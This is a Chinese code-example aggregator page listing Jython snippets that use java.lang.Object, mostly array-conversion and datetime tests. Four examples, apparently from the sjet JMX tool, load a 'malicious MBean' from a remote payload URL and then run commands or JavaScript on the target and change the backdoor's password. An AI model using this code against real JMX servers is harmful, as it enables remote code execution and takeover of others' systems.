当前位置: 首页>>代码示例>>Python>>正文


Python lang.Object方法代码示例

本文整理汇总了Python中java.lang.Object方法的典型用法代码示例。如果您正苦于以下问题:Python lang.Object方法的具体用法?Python lang.Object怎么用?Python lang.Object使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在java.lang的用法示例。


在下文中一共展示了lang.Object方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: test_blank

# 需要导入模块: from java import lang [as 别名]
# 或者: from java.lang import Object [as 别名]
def test_blank(self):
        array_Z = jarray(jboolean)(2)
        self.assertEqual(2, len(array_Z))
        self.assertEqual([False, False], array_Z)

        array_C = jarray(jchar)(3)
        self.assertEqual(3, len(array_C))
        self.assertEqual(["\u0000", "\u0000", "\u0000"], array_C)

        array_I = jarray(jint)(2)
        self.assertEqual(2, len(array_I))
        self.assertEqual([0, 0], array_I)

        from java.lang import Object
        array_Object = jarray(Object)(3)
        self.assertEqual(3, len(array_Object))
        self.assertEqual([None, None, None], array_Object)

        array_empty = jarray(Object)(0)
        self.assertEqual(0, len(array_empty))
        self.assertEqual([], array_empty)

    # More conversion tests in test_conversion.py 
开发者ID:chaquo,项目名称:chaquopy,代码行数:25,代码来源:test_array.py

示例2: test_modify

# 需要导入模块: from java import lang [as 别名]
# 或者: from java.lang import Object [as 别名]
def test_modify(self):
        Object = jclass("java.lang.Object")
        array_Z = jarray(jboolean)([True, False])
        with self.assertRaisesRegexp(TypeError, "Cannot convert int object to boolean"):
            array_Z[0] = 1
        with self.assertRaisesRegexp(TypeError, "Cannot convert Object object to boolean"):
            array_Z[0] = Object()

        Boolean = jclass("java.lang.Boolean")
        array_Boolean = jarray(Boolean)([True, False])
        with self.assertRaisesRegexp(TypeError, "Cannot convert int object to java.lang.Boolean"):
            array_Boolean[0] = 1
        with self.assertRaisesRegexp(TypeError, "Cannot convert int object to java.lang.Boolean"):
            cast(jarray(Object), array_Boolean)[0] = 1

        array_Object = jarray(Object)([True, False])
        array_Object[0] = 1
        self.assertEqual([1, False], array_Object) 
开发者ID:chaquo,项目名称:chaquopy,代码行数:20,代码来源:test_array.py

示例3: __tojava__

# 需要导入模块: from java import lang [as 别名]
# 或者: from java.lang import Object [as 别名]
def __tojava__(self, java_class):
            # TODO, if self.tzinfo is not None, convert time to UTC
            if java_class not in (Calendar, Timestamp, Object):
                return Py.NoConversion

            calendar = Calendar.getInstance()
            calendar.clear()
            calendar.set(self.year, self.month - 1, self.day,
                         self.hour, self.minute, self.second)

            if java_class == Calendar:
                calendar.set(Calendar.MILLISECOND, self.microsecond // 1000)
                return calendar
            else:
                timestamp = Timestamp(calendar.getTimeInMillis())
                timestamp.setNanos(self.microsecond * 1000)
                return timestamp 
开发者ID:ofermend,项目名称:medicare-demo,代码行数:19,代码来源:datetime.py

示例4: __tojava__

# 需要导入模块: from java import lang [as 别名]
# 或者: from java.lang import Object [as 别名]
def __tojava__(self, java_class):
            if java_class not in (Calendar, Time, Object):
                return Py.NoConversion
            calendar = _make_java_calendar(self)
            if calendar == Py.NoConversion:
                return Py.NoConversion

            #initialize to epoch time - effectively clear out the current date from the calendar.
            calendar.setTimeInMillis(0);

            #now setup the calendar to have the details populated from this time.
            calendar.set(Calendar.HOUR_OF_DAY, self.hour)
            calendar.set(Calendar.MINUTE, self.minute)
            calendar.set(Calendar.SECOND, self.second)
            calendar.set(Calendar.MILLISECOND, self.microsecond // 1000)

            if java_class == Calendar:
                return calendar
            else:
                return Time(calendar.getTimeInMillis()) 
开发者ID:Acmesec,项目名称:CTFCrackTools-V2,代码行数:22,代码来源:datetime.py

示例5: test_basic

# 需要导入模块: from java import lang [as 别名]
# 或者: from java.lang import Object [as 别名]
def test_basic(self):
        array_C = jarray(jchar)("hello")
        self.assertEqual(5, len(array_C))
        self.assertEqual(repr(array_C), "jarray('C')(['h', 'e', 'l', 'l', 'o'])")

        self.assertTrue(isinstance(array_C, jclass("java.lang.Object")))
        self.assertTrue(isinstance(array_C, jclass("java.lang.Cloneable")))
        self.assertTrue(isinstance(array_C, jclass("java.io.Serializable")))
        self.assertFalse(isinstance(array_C, jclass("java.io.Closeable")))
        self.assertRegexpMatches(array_C.toString(), r"^\[C") 
开发者ID:chaquo,项目名称:chaquopy,代码行数:12,代码来源:test_array.py

示例6: test_conversion

# 需要导入模块: from java import lang [as 别名]
# 或者: from java.lang import Object [as 别名]
def test_conversion(self):
        Object = jclass("java.lang.Object")
        Integer = jclass("java.lang.Integer")
        TestArray = jclass('com.chaquo.python.TestArray')
        # All object arrays, primitive arrays, and Python iterables are assignable to Object,
        # Cloneable and Serializable
        for array in [jarray(Object)(["hello", 42]), jarray(Integer)([11, 22]),
                      jarray(jboolean)([False, True]), [False, True]]:
            for field in ["object", "cloneable", "serializable"]:
                setattr(TestArray, field, array)
                self.assertEqual(array, getattr(TestArray, field))
                with self.assertRaisesRegexp(TypeError, "Cannot convert"):
                    setattr(TestArray, "closeable", array) 
开发者ID:chaquo,项目名称:chaquopy,代码行数:15,代码来源:test_array.py

示例7: test_cast

# 需要导入模块: from java import lang [as 别名]
# 或者: from java.lang import Object [as 别名]
def test_cast(self):
        Object = jclass("java.lang.Object")
        Boolean = jclass("java.lang.Boolean")

        Boolean_array = jarray(Boolean)([True, False])
        Boolean_array_Object_array = cast(jarray(Object), Boolean_array)
        self.assertIsNot(Boolean_array, Boolean_array_Object_array)
        self.assertEqual(Boolean_array, Boolean_array_Object_array)
        self.assertIs(Boolean_array_Object_array, cast(jarray(Object), Boolean_array))
        self.assertIs(Boolean_array, cast(jarray(Boolean), Boolean_array_Object_array))

        Boolean_array_Object = cast(Object, Boolean_array)
        self.assertIsNot(Boolean_array, Boolean_array_Object)
        self.assertEqual(Boolean_array, Boolean_array_Object)
        self.assertIs(Boolean_array_Object, cast(Object, Boolean_array))
        self.assertIs(Boolean_array, cast(jarray(Boolean), Boolean_array_Object))

        with self.assertRaisesRegexp(TypeError, r"cannot create boolean\[\] proxy from "
                                     r"java.lang.Boolean\[\] instance"):
            cast(jarray(jboolean), Boolean_array)

        with self.assertRaisesRegexp(TypeError, r"cannot create java.lang.Object\[\] proxy from "
                                     "java.lang.Object instance"):
            cast(jarray(Object), Object())

        Object_array = jarray(Object)([])
        with self.assertRaisesRegexp(TypeError, r"cannot create java.lang.Boolean proxy from "
                                     r"java.lang.Object\[\] instance"):
            cast(Boolean, Object_array)
        with self.assertRaisesRegexp(TypeError, r"cannot create java.lang.Boolean\[\] proxy from "
                                     r"java.lang.Object\[\] instance"):
            cast(jarray(Boolean), Object_array)

        Z_array = jarray(jboolean)([True, False])
        with self.assertRaisesRegexp(TypeError, r"cannot create java.lang.Boolean\[\] proxy from "
                                     r"boolean\[\] instance"):
            cast(jarray(Boolean), Z_array)
        with self.assertRaisesRegexp(TypeError, r"cannot create java.lang.Object\[\] proxy from "
                                     r"boolean\[\] instance"):
            cast(jarray(Object), Z_array) 
开发者ID:chaquo,项目名称:chaquopy,代码行数:42,代码来源:test_array.py

示例8: __tojava__

# 需要导入模块: from java import lang [as 别名]
# 或者: from java.lang import Object [as 别名]
def __tojava__(self, java_class):
        if java_class not in (BigDecimal, Object):
            return Py.NoConversion
        return BigDecimal(str(self)) 
开发者ID:ofermend,项目名称:medicare-demo,代码行数:6,代码来源:decimal.py

示例9: test_java_roundtrip

# 需要导入模块: from java import lang [as 别名]
# 或者: from java.lang import Object [as 别名]
def test_java_roundtrip(self):
        # bug 1543
        from java.lang import Object
        x = array(Object, [0,1,2])
        x.append(3)
        y = array(Object, [x]) # forces an implicit __tojava__
        self.assertEqual(x, y[0], "Did not shrink to fit") 
开发者ID:ofermend,项目名称:medicare-demo,代码行数:9,代码来源:test_array_jy.py

示例10: test_object

# 需要导入模块: from java import lang [as 别名]
# 或者: from java.lang import Object [as 别名]
def test_object(self):
        x = Decimal("1.1")
        y = x.__tojava__(Object)
        self.assertTrue(isinstance(y, BigDecimal)) 
开发者ID:Acmesec,项目名称:CTFCrackTools-V2,代码行数:6,代码来源:test_decimal_jy.py

示例11: installMBeans

# 需要导入模块: from java import lang [as 别名]
# 或者: from java.lang import Object [as 别名]
def installMBeans(args, bean_server):
    # Installation, load javax.management.loading.MLet to install additional MBeans
    # If loading fails, the Mlet is already loaded...
    try:
        mlet_bean = bean_server.createMBean("javax.management.loading.MLet", None)
    except:
        # MLet Bean can't be created because it already exists
        mlet_bean = bean_server.getObjectInstance(ObjectName("DefaultDomain:type=MLet"))

    print "[+] Loaded " + str(mlet_bean.getClassName())


    # Install payload Mlet via getMbeansFromURL
    # pass the URL of the web server
    print "[+] Loading malicious MBean from " + args.payload_url
    print "[+] Invoking: "+ mlet_bean.getClassName() + ".getMBeansFromURL"


    inv_array1 = jarray.zeros(1, Object)
    inv_array1[0] = args.payload_url

    inv_array2 = jarray.zeros(1, String)
    inv_array2[0] = String.canonicalName

    resource = bean_server.invoke(mlet_bean.getObjectName(), "getMBeansFromURL", inv_array1, inv_array2)

    # Check if the Mlet was loaded successfully

    for res in resource:
        if res.__class__.__name__ == "InstanceAlreadyExistsException":
            print "[+] Object instance already existed, no need to install it a second time"
        elif res.__class__.__name__ == "ObjectInstance":
            print "[+] Successfully loaded MBean" + str(res.getObjectName())

            # Change the password from "I+n33d+a+glass+0f+watta" to the new value
            print "[+] Changing default password..."
            changePassword("I+n33d+a+glass+0f+watta", args.password, bean_server)
        else:
            print res 
开发者ID:siberas,项目名称:sjet,代码行数:41,代码来源:sjet.py

示例12: changePassword

# 需要导入模块: from java import lang [as 别名]
# 或者: from java.lang import Object [as 别名]
def changePassword(password, newpass, bean_server):
    # Payload execution
    # Load the Payload Met and invoke a method on it
    mlet_bean = bean_server.getObjectInstance(ObjectName("Siberas:name=payload,id=1"))
    print "[+] Loaded " + str(mlet_bean.getClassName())

    inv_array1 = jarray.zeros(2, Object)
    inv_array1[0] = password
    inv_array1[1] = newpass

    inv_array2 = jarray.zeros(2, String)
    inv_array2[0] = String.canonicalName
    inv_array2[1] = String.canonicalName

    resource = bean_server.invoke(mlet_bean.getObjectName(), "changePassword", inv_array1, inv_array2)

    if str(resource) == "True":
        print "[+] Successfully changed password"
    else:
        print "[-] Unable to change password"


    sys.stdout.write("\n")
    sys.stdout.flush()

### /CHANGE PASSWORD MODE ###


### COMMAND MODE ### 
开发者ID:siberas,项目名称:sjet,代码行数:31,代码来源:sjet.py

示例13: executeCommand

# 需要导入模块: from java import lang [as 别名]
# 或者: from java.lang import Object [as 别名]
def executeCommand(password, cmd, bean_server):
    # Payload execution
    # Load the Payload Met and invoke a method on it
    mlet_bean = bean_server.getObjectInstance(ObjectName("Siberas:name=payload,id=1"))
    print "[+] Loaded " + str(mlet_bean.getClassName())

    print "[+] Executing command: " + cmd
    inv_array1 = jarray.zeros(2, Object)
    inv_array1[0] = password
    inv_array1[1] = cmd


    inv_array2 = jarray.zeros(2, String)
    inv_array2[0] = String.canonicalName
    inv_array2[1] = String.canonicalName

    resource = bean_server.invoke(mlet_bean.getObjectName(), "runCMD", inv_array1, inv_array2)

    print resource

    sys.stdout.write("\n")
    sys.stdout.flush()

### /COMMAND MODE ###

### JAVASCRIPT MODE ### 
开发者ID:siberas,项目名称:sjet,代码行数:28,代码来源:sjet.py

示例14: executeJS

# 需要导入模块: from java import lang [as 别名]
# 或者: from java.lang import Object [as 别名]
def executeJS(password, js, bean_server):
    # Payload execution
    # Load the Payload Met and invoke a method on it
    mlet_bean = bean_server.getObjectInstance(ObjectName("Siberas:name=payload,id=1"))
    print "[+] Loaded " + str(mlet_bean.getClassName())

    print "[+] Executing script"
    inv_array1 = jarray.zeros(2, Object)
    inv_array1[0] = password
    inv_array1[1] = js

    inv_array2 = jarray.zeros(2, String)
    inv_array2[0] = String.canonicalName
    inv_array2[1] = String.canonicalName

    resource = bean_server.invoke(mlet_bean.getObjectName(), "runJS", inv_array1, inv_array2)

    if resource is not None:
        print resource

    sys.stdout.write("\n")
    sys.stdout.flush()

### /JAVASCRIPT MODE ###


### SHELL MODE ### 
开发者ID:siberas,项目名称:sjet,代码行数:29,代码来源:sjet.py

示例15: test_raw_forced_delayedFinalization

# 需要导入模块: from java import lang [as 别名]
# 或者: from java.lang import Object [as 别名]
def test_raw_forced_delayedFinalization(self):
        #print "test_raw_forced_delayedFinalization"
        comments = []
    
        class Test_JavaAbortFinalizable(Object):
            def __init__(self, name, toAbort):
                self.name = name
                self.toAbort = toAbort
    
            def __repr__(self):
                return "<"+self.name+">"
    
            def finalize(self):
                gc.notifyPreFinalization()
                comments.append("del "+self.name)
                gc.abortDelayedFinalization(self.toAbort)
                gc.notifyPostFinalization()
    
        class Test_Finalizable(object):
            def __init__(self, name):
                self.name = name
    
            def __repr__(self):
                return "<"+self.name+">"
    
            def __del__(self):
                comments.append("del "+self.name)
        
        def callback(obj):
            comments.append("callback0")

        a = Test_Finalizable("a")
        wa = weakref.ref(a, callback)
        b = Test_JavaAbortFinalizable("b", a)
        gc.removeJythonGCFlags(gc.FORCE_DELAYED_WEAKREF_CALLBACKS)
        gc.addJythonGCFlags(gc.FORCE_DELAYED_FINALIZATION)
        self.assertTrue(gc.delayedFinalizationEnabled())
        self.assertFalse(gc.delayedWeakrefCallbacksEnabled())
        del a
        del b
        System.gc()
        time.sleep(2)

        self.assertIn('del b', comments)
        self.assertEqual(2, len(comments))
        self.assertIn('callback0', comments)
        self.assertNotIn('del a', comments)
        self.assertIsNone(wa())
        gc.removeJythonGCFlags(gc.FORCE_DELAYED_FINALIZATION) 
开发者ID:Acmesec,项目名称:CTFCrackTools-V2,代码行数:51,代码来源:test_gc_jy.py


注:本文中的java.lang.Object方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。